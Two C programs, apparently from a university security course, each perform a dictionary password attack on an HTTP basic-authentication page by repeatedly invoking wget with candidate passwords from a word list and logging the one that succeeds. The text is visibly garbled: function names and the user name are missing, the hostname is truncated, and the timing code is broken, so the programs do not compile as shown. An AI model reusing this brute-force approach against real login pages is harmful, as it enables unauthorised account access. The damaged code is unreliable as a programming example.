

#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9


int () {
 FILE *fp;
 int ret;
 char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
 char str[100];
 char passwd[150];
 int startTime, stopTime, final;
 strcpy(passwd,strin);
 fp = fopen("words","r");
 
 if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0); 
 }

 else 
 startTime = time();
while (fgets(str,20,fp) != NULL) {
         str[strlen(str)-1] = '\0';
         if (strlen(str) < 4) {
            strcat(passwd,str);
            printf("string is %s\n",passwd);
            ret = system(passwd);
            strcpy(passwd,strin);
            if (ret == 0) break;
         }
 }
 stopTime = time();
   final = stopTime-startTime;
       printf("\n============================================================");
       printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
       printf("\n UserName : ");
       printf("\n Password : %s\n",str);
       printf("The program took %lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );   
       printf("\n============================================================");
}

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	int count = 0;
	FILE *myFile,*myFile2,*myFile3;
	int compare1;
	char* myString;
	int length = 0;
	int start1, end1;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	
	printf("-------------now trying Dictonary force attack---------------\n");
	start1 = time();
	myFile = fopen("/usr/share/lib/dict/words","r");
	if(myFile != (FILE*) NULL)
	{
		while( fgets(myString,100,myFile) != NULL)
		{
			
			
			
			smallcmd[2] = joinMe(smallcmd[2],myString);
			length = strlen(smallcmd[2]);
			
			smallcmd[2][length-1] = '\0';
			printf("Checking : %s\n",smallcmd[2]);
			
			check(smallcmd);
			count++;
			
			myFile2 = fopen("logwget", "r");
			if (myFile2 != (FILE*) NULL)
			{
				
				fgets(myString,100,myFile2);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s\n\n",smallcmd[2]);
					end1= time();
					
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					
					fputs("\nTime taken by Dictionary Attack ",myFile3);
					compare1 = ((end1-start1)/1000000000);
					fprintf(myFile3,"%lld",compare1);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
				}
				fclose(myFile2);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}
	fclose(myFile);
	return 1;
}

